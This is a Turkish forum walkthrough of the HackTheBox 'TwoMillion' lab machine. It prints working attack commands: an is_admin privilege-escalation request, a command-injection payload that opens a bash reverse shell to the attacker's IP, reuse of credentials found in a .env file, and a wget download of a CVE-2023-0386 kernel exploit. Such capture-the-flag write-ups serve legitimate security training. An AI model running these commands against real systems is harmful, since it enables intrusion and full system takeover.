Döküman HackTheBox - TwoMillion Tam Walkthrough

API Abuse'tan Root'a | Easy Makine

Zorluk: Easy
OS: Linux
Etiketler: Web, API Abuse, Command Injection, Kernel Exploit




Selam hack severler!

Bugün HackTheBox'in nostaljik makinelerinden TwoMillion'ı çözüyoruz. Makine eski HTB temasını taşıyor ve saldırı zinciri oldukça temiz ilerliyor:

  • Obfuscate edilmiş JavaScript'ten invite kodu mantığını çözüyoruz
  • API'deki Broken Access Control zafiyetiyle direkt admin oluyoruz
  • Sanitize edilmemiş parametre üzerinden RCE alıyoruz
  • Son olarak CVE-2023-0386 (OverlayFS) ile root'a çıkıyoruz

Hadi başlayalım.




1. Reconnaissance

Öncelikle klasik nmap taramasını yapıyoruz:

Kod:
nmap -sC -sV -A <MACHINE-IP>

Çıkan sonuçlar:
  • 22 → SSH (OpenSSH 8.9)
  • 80 → HTTP (nginx)

Site adresine yönlendiriyor. Bu yüzden hosts dosyasına ekliyoruz:

Kod:
echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts




2. Enumeration

Siteye girdiğimizde invite code istiyor. feroxbuster ile dizin taraması yapıyoruz:

Kod:
feroxbuster -u http://2million.htb

Önemli bulgular:
  • /invite → Kayıt sayfası
  • /js/inviteapi.min.js → Invite mantığının olduğu JavaScript dosyası
  • /api/v1/user/register → API endpoint'leri




3. Invite Kodunu Elde Etme

3.1 JavaScript'in Deobfuscate Edilmesi

Önce JavaScript dosyasını çekiyoruz:

Kod:
curl -X GET http://2million.htb/js/inviteapi.min.js

Dosya klasik eval ile paketlenmiş. Deobfuscate ettikten sonra iki önemli fonksiyon çıkıyor:
  • makeInviteCode() → /api/v1/invite/how/to/generate
  • verifyInviteCode(code) → /api/v1/invite/verify

3.2 Kodu Üretme

Önce şu isteği atıyoruz:

Kod:
curl -X POST http://2million.htb/api/v1/invite/how/to/generate

Gelen cevapta ROT13 ile şifrelenmiş bir mesaj var:

Kod:
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr

ROT13 çözüyoruz:

Kod:
echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Çıkan mesaj: /api/v1/invite/generate endpoint'ine POST at diyor.

Şimdi kodu üretiyoruz:

Kod:
curl -X POST http://2million.htb/api/v1/invite/generate | jq

Gelen Base64 çıktısını çözüyoruz:

Kod:
echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d

Invite Kodu: UKLXC-6NSN0-T915N-UV8YA

Bu kod ile /invite sayfasından kayıt olabiliyoruz.




4. API Keşfi ve Admin Yetkisi Alma
(Broken Access Control)

Giriş yaptıktan sonra API'yi keşfediyoruz:

Kod:
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<SESSION>" | jq

Admin endpoint'leri buluyoruz:
  • GET /api/v1/admin/auth
  • PUT /api/v1/admin/settings/update
  • POST /api/v1/admin/vpn/generate

Admin olmak için şu isteği atıyoruz:

Kod:
curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=<SESSION>" \
  --header "Content-Type: application/json" \
  -d '{"email": "[email protected]", "is_admin": 1}'

Cevap:
Kod:
{"id": 13, "username": "john", "is_admin": 1}

Klasik Broken Access Control. Sunucu client'tan gelen is_admin değerini direkt kabul ediyor.




5. Remote Code Execution (Command Injection)

Admin olduktan sonra VPN oluşturma endpoint'ini inceliyoruz. username parametresi sanitize edilmeden sistem komutuna gidiyor.

Test için:

Kod:
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=<SESSION>" \
  --header "Content-Type: application/json" \
  --data '{"username": "john;whoami;"}'

Çıktı: www-data

Reverse shell için:

Kod:
# Attacker makinede
pwncat-cs -lp 4444

# Target üzerinde çalıştır
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=<SESSION>" \
  --header "Content-Type: application/json" \
  --data '{"username":"john;bash -c '\''bash -i >& /dev/tcp/<SIZIN-IP>/4444 0>&1'\''"}'

Shell www-data kullanıcısıyla geliyor.




6. www-data → admin (Lateral Movement)

Web root'ta .env dosyası var:

Kod:
cat /var/www/html/.env

İçerik:
Kod:
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Aynı şifre SSH için de geçerli:

Kod:
ssh [email protected]
# Şifre: SuperDuperPass123

User flag burada: ~/user.txt




7. Privilege Escalation → Root
(CVE-2023-0386 - OverlayFS)

SSH ile giriş yapınca mail geldiğini görüyoruz:

Kod:
cat /var/mail/admin

Mailde CVE-2023-0386 (OverlayFS/FUSE) kernel zafiyeti hakkında uyarı var.

Kernel versiyonunu kontrol ediyoruz:

Kod:
uname -a
# Linux 2million 5.15.70-...

Kernel versiyonu zafiyetli aralıkta. Exploit'i derleyip çalıştırıyoruz:

Kod:
# Kendi makinenizde derleyin
apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl

# Target'a atın
wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc

Exploit çalıştıktan sonra whoami çıktısı root oluyor.

Root flag: /root/root.txt




Özet Tablo

AdımYapılan İşlem
ReconNmap + hosts dosyası
Enumferoxbuster + JS analizi
Invite CodeROT13 → Base64 çözümü
Privilege EscalationBroken Access Control (is_admin: 1)
RCEUnsanitized username → reverse shell
Lateral Movement.env → admin SSH
RootCVE-2023-0386 OverlayFS




Bulunan Zafiyetler

  1. Client-side logic exposure → Invite kodu mantığı JS'te açık
  2. Broken Access Controlis_admin parametresi kontrolsüz
  3. Command Injectionusername parametresi sanitize edilmiyor
  4. Hardcoded Credentials.env dosyasında açık şifre
  5. Password Reuse → DB ve SSH aynı şifre
  6. Unpatched Kernel → CVE-2023-0386




Walkthrough bu kadar. Oldukça temiz ve öğretici bir makineydi.

Sorunuz olursa buraya yazın, yardımcı olurum.

Beğendiyseniz like + yorum bırakmayı unutmayın!

Not: Bu yazı sadece eğitim amaçlıdır. HackTheBox gibi platformlarda yasal ortamda pratik yapmanızı öneririm.

🔒 Bu içeriği görmek için giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
133,687Konular
3,289,036Mesajlar
324,410Kullanıcılar
Feyzoooo1234Son Üye
Üst Alt